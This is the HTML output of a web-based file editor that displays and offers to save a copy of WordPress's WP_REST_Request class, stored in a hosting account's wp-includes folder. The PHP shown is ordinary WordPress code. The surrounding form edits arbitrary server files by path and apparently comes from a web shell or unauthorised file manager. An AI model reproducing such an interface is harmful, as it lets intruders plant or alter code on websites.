<h2>File Contents: /home/planet5/public_html/wp-includes/rest-api/copy_of_class-wp-rest-request.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-includes/rest-api/copy_of_class-wp-rest-request.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * REST API: WP_REST_Request class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST request object.
 *
 * Contains data from the request, to be passed to the callback.
 *
 * Note: This implements ArrayAccess, and acts as an array of parameters when
 * used in that manner. It does not use ArrayObject (as we cannot rely on SPL),
 * so be aware it may have non-array behavior in some cases.
 *
 * Note: When using features provided by ArrayAccess, be aware that WordPress deliberately
 * does not distinguish between arguments of the same name for different request methods.
 * For instance, in a request with `GET id=1` and `POST id=2`, `$request[&#039;id&#039;]` will equal
 * 2 (`POST`) not 1 (`GET`). For more precision between request methods, use
 * WP_REST_Request::get_body_params(), WP_REST_Request::get_url_params(), etc.
 *
 * @since 4.4.0
 *
 * @link https://www.php.net/manual/en/class.arrayaccess.php
 */
#[AllowDynamicProperties]
class WP_REST_Request implements ArrayAccess {

	/**
	 * HTTP method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $method = &#039;&#039;;

	/**
	 * Parameters passed to the request.
	 *
	 * These typically come from the `$_GET`, `$_POST` and `$_FILES`
	 * superglobals when being created from the global scope.
	 *
	 * @since 4.4.0
	 * @var array Contains GET, POST and FILES keys mapping to arrays of data.
	 */
	protected $params;

	/**
	 * HTTP headers for the request.
	 *
	 * @since 4.4.0
	 * @var array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	protected $headers = array();

	/**
	 * Body data.
	 *
	 * @since 4.4.0
	 * @var string Binary data from the request.
	 */
	protected $body = null;

	/**
	 * Route matched for the request.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $route;

	/**
	 * Attributes (options) for the route that was matched.
	 *
	 * This is the options array used when the route was registered, typically
	 * containing the callback as well as the valid methods for the route.
	 *
	 * @since 4.4.0
	 * @var array Attributes for the request.
	 */
	protected $attributes = array();

	/**
	 * Used to determine if the JSON data has been parsed yet.
	 *
	 * Allows lazy-parsing of JSON data where possible.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_json = false;

	/**
	 * Used to determine if the body data has been parsed yet.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_body = false;

	/**
	 * Constructor.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method     Optional. Request method. Default empty.
	 * @param string $route      Optional. Request route. Default empty.
	 * @param array  $attributes Optional. Request attributes. Default empty array.
	 */
	public function __construct( $method = &#039;&#039;, $route = &#039;&#039;, $attributes = array() ) {
		$this-&gt;params = array(
			&#039;URL&#039;      =&gt; array(),
			&#039;GET&#039;      =&gt; array(),
			&#039;POST&#039;     =&gt; array(),
			&#039;FILES&#039;    =&gt; array(),

			// See parse_json_params.
			&#039;JSON&#039;     =&gt; null,

			&#039;defaults&#039; =&gt; array(),
		);

		$this-&gt;set_method( $method );
		$this-&gt;set_route( $route );
		$this-&gt;set_attributes( $attributes );
	}

	/**
	 * Retrieves the HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string HTTP method.
	 */
	public function get_method() {
		return $this-&gt;method;
	}

	/**
	 * Sets HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method HTTP method.
	 */
	public function set_method( $method ) {
		$this-&gt;method = strtoupper( $method );
	}

	/**
	 * Retrieves all headers from the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	public function get_headers() {
		return $this-&gt;headers;
	}

	/**
	 * Determines if the request is the given method.
	 *
	 * @since 6.8.0
	 *
	 * @param string $method HTTP method.
	 * @return bool Whether the request is of the given method.
	 */
	public function is_method( $method ) {
		return $this-&gt;get_method() === strtoupper( $method );
	}

	/**
	 * Canonicalizes the header name.
	 *
	 * Ensures that header names are always treated the same regardless of
	 * source. Header names are always case-insensitive.
	 *
	 * Note that we treat `-` (dashes) and `_` (underscores) as the same
	 * character, as per header parsing rules in both Apache and nginx.
	 *
	 * @link https://stackoverflow.com/q/18185366
	 * @link https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#missing-disappearing-http-headers
	 * @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 * @return string Canonicalized name.
	 */
	public static function canonicalize_header_name( $key ) {
		$key = strtolower( $key );
		$key = str_replace( &#039;-&#039;, &#039;_&#039;, $key );

		return $key;
	}

	/**
	 * Retrieves the given header from the request.
	 *
	 * If the header has multiple values, they will be concatenated with a comma
	 * as per the HTTP specification. Be aware that some non-compliant headers
	 * (notably cookie headers) cannot be joined this way.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return string|null String value if set, null otherwise.
	 */
	public function get_header( $key ) {
		$key = $this-&gt;canonicalize_header_name( $key );

		if ( ! isset( $this-&gt;headers[ $key ] ) ) {
			return null;
		}

		return implode( &#039;,&#039;, $this-&gt;headers[ $key ] );
	}

	/**
	 * Retrieves header values from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return array|null List of string values if set, null otherwise.
	 */
	public function get_header_as_array( $key ) {
		$key = $this-&gt;canonicalize_header_name( $key );

		if ( ! isset( $this-&gt;headers[ $key ] ) ) {
			return null;
		}

		return $this-&gt;headers[ $key ];
	}

	/**
	 * Sets the header on request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function set_header( $key, $value ) {
		$key   = $this-&gt;canonicalize_header_name( $key );
		$value = (array) $value;

		$this-&gt;headers[ $key ] = $value;
	}

	/**
	 * Appends a header value for the given header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function add_header( $key, $value ) {
		$key   = $this-&gt;canonicalize_header_name( $key );
		$value = (array) $value;

		if ( ! isset( $this-&gt;headers[ $key ] ) ) {
			$this-&gt;headers[ $key ] = array();
		}

		$this-&gt;headers[ $key ] = array_merge( $this-&gt;headers[ $key ], $value );
	}

	/**
	 * Removes all values for a header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 */
	public function remove_header( $key ) {
		$key = $this-&gt;canonicalize_header_name( $key );
		unset( $this-&gt;headers[ $key ] );
	}

	/**
	 * Sets headers on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers  Map of header name to value.
	 * @param bool  $override If true, replace the request&#039;s headers. Otherwise, merge with existing.
	 */
	public function set_headers( $headers, $override = true ) {
		if ( true === $override ) {
			$this-&gt;headers = array();
		}

		foreach ( $headers as $key =&gt; $value ) {
			$this-&gt;set_header( $key, $value );
		}
	}

	/**
	 * Retrieves the Content-Type of the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array|null Map containing &#039;value&#039; and &#039;parameters&#039; keys
	 *                    or null when no valid Content-Type header was
	 *                    available.
	 */
	public function get_content_type() {
		$value = $this-&gt;get_header( &#039;Content-Type&#039; );
		if ( empty( $value ) ) {
			return null;
		}

		$parameters = &#039;&#039;;
		if ( strpos( $value, &#039;;&#039; ) ) {
			list( $value, $parameters ) = explode( &#039;;&#039;, $value, 2 );
		}

		$value = strtolower( $value );
		if ( ! str_contains( $value, &#039;/&#039; ) ) {
			return null;
		}

		// Parse type and subtype out.
		list( $type, $subtype ) = explode( &#039;/&#039;, $value, 2 );

		$data = compact( &#039;value&#039;, &#039;type&#039;, &#039;subtype&#039;, &#039;parameters&#039; );
		$data = array_map( &#039;trim&#039;, $data );

		return $data;
	}

	/**
	 * Checks if the request has specified a JSON Content-Type.
	 *
	 * @since 5.6.0
	 *
	 * @return bool True if the Content-Type header is JSON.
	 */
	public function is_json_content_type() {
		$content_type = $this-&gt;get_content_type();

		return isset( $content_type[&#039;value&#039;] ) &amp;&amp; wp_is_json_media_type( $content_type[&#039;value&#039;] );
	}

	/**
	 * Retrieves the parameter priority order.
	 *
	 * Used when checking parameters in WP_REST_Request::get_param().
	 *
	 * @since 4.4.0
	 *
	 * @return string[] Array of types to check, in order of priority.
	 */
	protected function get_parameter_order() {
		$order = array();

		if ( $this-&gt;is_json_content_type() ) {
			$order[] = &#039;JSON&#039;;
		}

		$this-&gt;parse_json_params();

		// Ensure we parse the body data.
		$body = $this-&gt;get_body();

		if ( &#039;POST&#039; !== $this-&gt;method &amp;&amp; ! empty( $body ) ) {
			$this-&gt;parse_body_params();
		}

		$accepts_body_data = array( &#039;POST&#039;, &#039;PUT&#039;, &#039;PATCH&#039;, &#039;DELETE&#039; );
		if ( in_array( $this-&gt;method, $accepts_body_data, true ) ) {
			$order[] = &#039;POST&#039;;
		}

		$order[] = &#039;GET&#039;;
		$order[] = &#039;URL&#039;;
		$order[] = &#039;defaults&#039;;

		/**
		 * Filters the parameter priority order for a REST API request.
		 *
		 * The order affects which parameters are checked when using WP_REST_Request::get_param()
		 * and family. This acts similarly to PHP&#039;s `request_order` setting.
		 *
		 * @since 4.4.0
		 *
		 * @param string[]        $order   Array of types to check, in order of priority.
		 * @param WP_REST_Request $request The request object.
		 */
		return apply_filters( &#039;rest_request_parameter_order&#039;, $order, $this );
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	public function get_param( $key ) {
		$order = $this-&gt;get_parameter_order();

		foreach ( $order as $type ) {
			// Determine if we have the parameter for this type.
			if ( isset( $this-&gt;params[ $type ][ $key ] ) ) {
				return $this-&gt;params[ $type ][ $key ];
			}
		}

		return null;
	}

	/**
	 * Checks if a parameter exists in the request.
	 *
	 * This allows distinguishing between an omitted parameter,
	 * and a parameter specifically set to null.
	 *
	 * @since 5.3.0
	 *
	 * @param string $key Parameter name.
	 * @return bool True if a param exists for the given key.
	 */
	public function has_param( $key ) {
		$order = $this-&gt;get_parameter_order();

		foreach ( $order as $type ) {
			if ( is_array( $this-&gt;params[ $type ] ) &amp;&amp; array_key_exists( $key, $this-&gt;params[ $type ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * If the given parameter key exists in any parameter type an update will take place,
	 * otherwise a new param will be created in the first parameter type (respecting
	 * get_parameter_order()).
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Parameter name.
	 * @param mixed  $value Parameter value.
	 */
	public function set_param( $key, $value ) {
		$order     = $this-&gt;get_parameter_order();
		$found_key = false;

		foreach ( $order as $type ) {
			if ( &#039;defaults&#039; !== $type &amp;&amp; is_array( $this-&gt;params[ $type ] ) &amp;&amp; array_key_exists( $key, $this-&gt;params[ $type ] ) ) {
				$this-&gt;params[ $type ][ $key ] = $value;
				$found_key                     = true;
			}
		}

		if ( ! $found_key ) {
			$this-&gt;params[ $order[0] ][ $key ] = $value;
		}
	}

	/**
	 * Retrieves merged parameters from the request.
	 *
	 * The equivalent of get_param(), but returns all parameters for the request.
	 * Handles merging all the available values into a single array.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value.
	 */
	public function get_params() {
		$order = $this-&gt;get_parameter_order();
		$order = array_reverse( $order, true );

		$params = array();
		foreach ( $order as $type ) {
			/*
			 * array_merge() / the &quot;+&quot; operator will mess up
			 * numeric keys, so instead do a manual foreach.
			 */
			foreach ( (array) $this-&gt;params[ $type ] as $key =&gt; $value ) {
				$params[ $key ] = $value;
			}
		}

		// Exclude rest_route if pretty permalinks are not enabled.
		if ( ! get_option( &#039;permalink_structure&#039; ) ) {
			unset( $params[&#039;rest_route&#039;] );
		}

		return $params;
	}

	/**
	 * Retrieves parameters from the route itself.
	 *
	 * These are parsed from the URL using the regex.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_url_params() {
		return $this-&gt;params[&#039;URL&#039;];
	}

	/**
	 * Sets parameters from the route.
	 *
	 * Typically, this is set after parsing the URL.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_url_params( $params ) {
		$this-&gt;params[&#039;URL&#039;] = $params;
	}

	/**
	 * Retrieves parameters from the query string.
	 *
	 * These are the parameters you&#039;d typically find in `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_query_params() {
		return $this-&gt;params[&#039;GET&#039;];
	}

	/**
	 * Sets parameters from the query string.
	 *
	 * Typically, this is set from `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_query_params( $params ) {
		$this-&gt;params[&#039;GET&#039;] = $params;
	}

	/**
	 * Retrieves parameters from the body.
	 *
	 * These are the parameters you&#039;d typically find in `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_body_params() {
		return $this-&gt;params[&#039;POST&#039;];
	}

	/**
	 * Sets parameters from the body.
	 *
	 * Typically, this is set from `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_body_params( $params ) {
		$this-&gt;params[&#039;POST&#039;] = $params;
	}

	/**
	 * Retrieves multipart file parameters from the body.
	 *
	 * These are the parameters you&#039;d typically find in `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 *
	 * @phpstan-return array&lt;string, array{
	 *                                   name: non-empty-string,
	 *                                   type: non-empty-string,
	 *                                   size: non-negative-int,
	 *                                   tmp_name: non-empty-string,
	 *                                   error: int&lt;0, 8&gt;,
	 *                                   full_path?: non-empty-string,
	 *                               }&gt;
	 */
	public function get_file_params() {
		return $this-&gt;params[&#039;FILES&#039;];
	}

	/**
	 * Sets multipart file parameters from the body.
	 *
	 * Typically, this is set from `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 *
	 * @phpstan-param array&lt;string, array{
	 *                                  name: non-empty-string,
	 *                                  type: non-empty-string,
	 *                                  size: non-negative-int,
	 *                                  tmp_name: non-empty-string,
	 *                                  error: int&lt;0, 8&gt;,
	 *                                  full_path?: non-empty-string,
	 *                              }&gt; $params
	 */
	public function set_file_params( $params ) {
		$this-&gt;params[&#039;FILES&#039;] = $params;
	}

	/**
	 * Retrieves the default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_default_params() {
		return $this-&gt;params[&#039;defaults&#039;];
	}

	/**
	 * Sets default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_default_params( $params ) {
		$this-&gt;params[&#039;defaults&#039;] = $params;
	}

	/**
	 * Retrieves the request body content.
	 *
	 * @since 4.4.0
	 *
	 * @return string Binary data from the request body.
	 */
	public function get_body() {
		return $this-&gt;body;
	}

	/**
	 * Sets body content.
	 *
	 * @since 4.4.0
	 *
	 * @param string $data Binary data from the request body.
	 */
	public function set_body( $data ) {
		$this-&gt;body = $data;

		// Enable lazy parsing.
		$this-&gt;parsed_json    = false;
		$this-&gt;parsed_body    = false;
		$this-&gt;params[&#039;JSON&#039;] = null;
	}

	/**
	 * Retrieves the parameters from a JSON-formatted body.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_json_params() {
		// Ensure the parameters have been parsed out.
		$this-&gt;parse_json_params();

		return $this-&gt;params[&#039;JSON&#039;];
	}

	/**
	 * Parses the JSON parameters.
	 *
	 * Avoids parsing the JSON data until we need to access it.
	 *
	 * @since 4.4.0
	 * @since 4.7.0 Returns error instance if value cannot be decoded.
	 * @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed.
	 */
	protected function parse_json_params() {
		if ( $this-&gt;parsed_json ) {
			return true;
		}

		$this-&gt;parsed_json = true;

		// Check that we actually got JSON.
		if ( ! $this-&gt;is_json_content_type() ) {
			return true;
		}

		$body = $this-&gt;get_body();
		if ( empty( $body ) ) {
			return true;
		}

		$params = json_decode( $body, true );

		/*
		 * Check for a parsing error.
		 */
		if ( null === $params &amp;&amp; JSON_ERROR_NONE !== json_last_error() ) {
			// Ensure subsequent calls receive error instance.
			$this-&gt;parsed_json = false;

			$error_data = array(
				&#039;status&#039;             =&gt; WP_Http::BAD_REQUEST,
				&#039;json_error_code&#039;    =&gt; json_last_error(),
				&#039;json_error_message&#039; =&gt; json_last_error_msg(),
			);

			return new WP_Error( &#039;rest_invalid_json&#039;, __( &#039;Invalid JSON body passed.&#039; ), $error_data );
		}

		$this-&gt;params[&#039;JSON&#039;] = $params;

		return true;
	}

	/**
	 * Parses the request body parameters.
	 *
	 * Parses out URL-encoded bodies for request methods that aren&#039;t supported
	 * natively by PHP.
	 *
	 * @since 4.4.0
	 */
	protected function parse_body_params() {
		if ( $this-&gt;parsed_body ) {
			return;
		}

		$this-&gt;parsed_body = true;

		/*
		 * Check that we got URL-encoded. Treat a missing Content-Type as
		 * URL-encoded for maximum compatibility.
		 */
		$content_type = $this-&gt;get_content_type();

		if ( ! empty( $content_type ) &amp;&amp; &#039;application/x-www-form-urlencoded&#039; !== $content_type[&#039;value&#039;] ) {
			return;
		}

		parse_str( $this-&gt;get_body(), $params );

		/*
		 * Add to the POST parameters stored internally. If a user has already
		 * set these manually (via `set_body_params`), don&#039;t override them.
		 */
		$this-&gt;params[&#039;POST&#039;] = array_merge( $params, $this-&gt;params[&#039;POST&#039;] );
	}

	/**
	 * Retrieves the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string Route matching regex.
	 */
	public function get_route() {
		return $this-&gt;route;
	}

	/**
	 * Sets the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route matching regex.
	 */
	public function set_route( $route ) {
		$this-&gt;route = $route;
	}

	/**
	 * Retrieves the attributes for the request.
	 *
	 * These are the options for the route that was matched.
	 *
	 * @since 4.4.0
	 *
	 * @return array Attributes for the request.
	 */
	public function get_attributes() {
		return $this-&gt;attributes;
	}

	/**
	 * Sets the attributes for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $attributes Attributes for the request.
	 */
	public function set_attributes( $attributes ) {
		$this-&gt;attributes = $attributes;
	}

	/**
	 * Sanitizes (where possible) the params on the request.
	 *
	 * This is primarily based off the sanitize_callback param on each registered
	 * argument.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization.
	 */
	public function sanitize_params() {
		$attributes = $this-&gt;get_attributes();

		// No arguments set, skip sanitizing.
		if ( empty( $attributes[&#039;args&#039;] ) ) {
			return true;
		}

		$order = $this-&gt;get_parameter_order();

		$invalid_params  = array();
		$invalid_details = array();

		foreach ( $order as $type ) {
			if ( empty( $this-&gt;params[ $type ] ) ) {
				continue;
			}

			foreach ( $this-&gt;params[ $type ] as $key =&gt; $value ) {
				if ( ! isset( $attributes[&#039;args&#039;][ $key ] ) ) {
					continue;
				}

				$param_args = $attributes[&#039;args&#039;][ $key ];

				// If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg.
				if ( ! array_key_exists( &#039;sanitize_callback&#039;, $param_args ) &amp;&amp; ! empty( $param_args[&#039;type&#039;] ) ) {
					$param_args[&#039;sanitize_callback&#039;] = &#039;rest_parse_request_arg&#039;;
				}
				// If there&#039;s still no sanitize_callback, nothing to do here.
				if ( empty( $param_args[&#039;sanitize_callback&#039;] ) ) {
					continue;
				}

				/** @var mixed|WP_Error $sanitized_value */
				$sanitized_value = call_user_func( $param_args[&#039;sanitize_callback&#039;], $value, $this, $key );

				if ( is_wp_error( $sanitized_value ) ) {
					$invalid_params[ $key ]  = implode( &#039; &#039;, $sanitized_value-&gt;get_error_messages() );
					$invalid_details[ $key ] = rest_convert_error_to_response( $sanitized_value )-&gt;get_data();
				} else {
					$this-&gt;params[ $type ][ $key ] = $sanitized_value;
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error(
				&#039;rest_invalid_param&#039;,
				/* translators: %s: List of invalid parameters. */
				sprintf( __( &#039;Invalid parameter(s): %s&#039; ), implode( &#039;, &#039;, array_keys( $invalid_params ) ) ),
				array(
					&#039;status&#039;  =&gt; 400,
					&#039;params&#039;  =&gt; $invalid_params,
					&#039;details&#039; =&gt; $invalid_details,
				)
			);
		}

		return true;
	}

	/**
	 * Checks whether this request is valid according to its attributes.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if there are no parameters to validate or if all pass validation,
	 *                       WP_Error if required parameters are missing.
	 */
	public function has_valid_params() {
		// If JSON data was passed, check for errors.
		$json_error = $this-&gt;parse_json_params();
		if ( is_wp_error( $json_error ) ) {
			return $json_error;
		}

		$attributes = $this-&gt;get_attributes();
		$required   = array();

		$args = empty( $attributes[&#039;args&#039;] ) ? array() : $attributes[&#039;args&#039;];

		foreach ( $args as $key =&gt; $arg ) {
			$param = $this-&gt;get_param( $key );
			if ( isset( $arg[&#039;required&#039;] ) &amp;&amp; true === $arg[&#039;required&#039;] &amp;&amp; null === $param ) {
				$required[] = $key;
			}
		}

		if ( ! empty( $required ) ) {
			return new WP_Error(
				&#039;rest_missing_callback_param&#039;,
				/* translators: %s: List of required parameters. */
				sprintf( __( &#039;Missing parameter(s): %s&#039; ), implode( &#039;, &#039;, $required ) ),
				array(
					&#039;status&#039; =&gt; 400,
					&#039;params&#039; =&gt; $required,
				)
			);
		}

		/*
		 * Check the validation callbacks for each registered arg.
		 *
		 * This is done after required checking as required checking is cheaper.
		 */
		$invalid_params  = array();
		$invalid_details = array();

		foreach ( $args as $key =&gt; $arg ) {

			$param = $this-&gt;get_param( $key );

			if ( null !== $param &amp;&amp; ! empty( $arg[&#039;validate_callback&#039;] ) ) {
				/** @var bool|\WP_Error $valid_check */
				$valid_check = call_user_func( $arg[&#039;validate_callback&#039;], $param, $this, $key );

				if ( false === $valid_check ) {
					$invalid_params[ $key ] = __( &#039;Invalid parameter.&#039; );
				}

				if ( is_wp_error( $valid_check ) ) {
					$invalid_params[ $key ]  = implode( &#039; &#039;, $valid_check-&gt;get_error_messages() );
					$invalid_details[ $key ] = rest_convert_error_to_response( $valid_check )-&gt;get_data();
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error(
				&#039;rest_invalid_param&#039;,
				/* translators: %s: List of invalid parameters. */
				sprintf( __( &#039;Invalid parameter(s): %s&#039; ), implode( &#039;, &#039;, array_keys( $invalid_params ) ) ),
				array(
					&#039;status&#039;  =&gt; 400,
					&#039;params&#039;  =&gt; $invalid_params,
					&#039;details&#039; =&gt; $invalid_details,
				)
			);
		}

		if ( isset( $attributes[&#039;validate_callback&#039;] ) ) {
			$valid_check = call_user_func( $attributes[&#039;validate_callback&#039;], $this );

			if ( is_wp_error( $valid_check ) ) {
				return $valid_check;
			}

			if ( false === $valid_check ) {
				// A WP_Error instance is preferred, but false is supported for parity with the per-arg validate_callback.
				return new WP_Error( &#039;rest_invalid_params&#039;, __( &#039;Invalid parameters.&#039; ), array( &#039;status&#039; =&gt; 400 ) );
			}
		}

		return true;
	}

	/**
	 * Checks if a parameter is set.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return bool Whether the parameter is set.
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		$order = $this-&gt;get_parameter_order();

		foreach ( $order as $type ) {
			if ( isset( $this-&gt;params[ $type ][ $offset ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		return $this-&gt;get_param( $offset );
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @param mixed  $value  Parameter value.
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		$this-&gt;set_param( $offset, $value );
	}

	/**
	 * Removes a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
		$order = $this-&gt;get_parameter_order();

		// Remove the offset from every group.
		foreach ( $order as $type ) {
			unset( $this-&gt;params[ $type ][ $offset ] );
		}
	}

	/**
	 * Retrieves a WP_REST_Request object from a full URL.
	 *
	 * @since 4.5.0
	 *
	 * @param string $url URL with protocol, domain, path and query args.
	 * @return WP_REST_Request|false WP_REST_Request object on success, false on failure.
	 */
	public static function from_url( $url ) {
		$bits         = parse_url( $url );
		$query_params = array();

		if ( ! empty( $bits[&#039;query&#039;] ) ) {
			wp_parse_str( $bits[&#039;query&#039;], $query_params );
		}

		$api_root = rest_url();
		if ( get_option( &#039;permalink_structure&#039; ) &amp;&amp; str_starts_with( $url, $api_root ) ) {
			// Pretty permalinks on, and URL is under the API root.
			$api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) );
			$route        = parse_url( $api_url_part, PHP_URL_PATH );
		} elseif ( ! empty( $query_params[&#039;rest_route&#039;] ) ) {
			// ?rest_route=... set directly.
			$route = $query_params[&#039;rest_route&#039;];
			unset( $query_params[&#039;rest_route&#039;] );
		}

		$request = false;
		if ( ! empty( $route ) ) {
			$request = new WP_REST_Request( &#039;GET&#039;, $route );
			$request-&gt;set_query_params( $query_params );
		}

		/**
		 * Filters the REST API request generated from a URL.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_REST_Request|false $request Generated request object, or false if URL
		 *                                       could not be parsed.
		 * @param string                $url     URL the request was generated from.
		 */
		return apply_filters( &#039;rest_request_from_url&#039;, $request, $url );
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-includes%2Frest-api'>⬅ Back to Directory</a>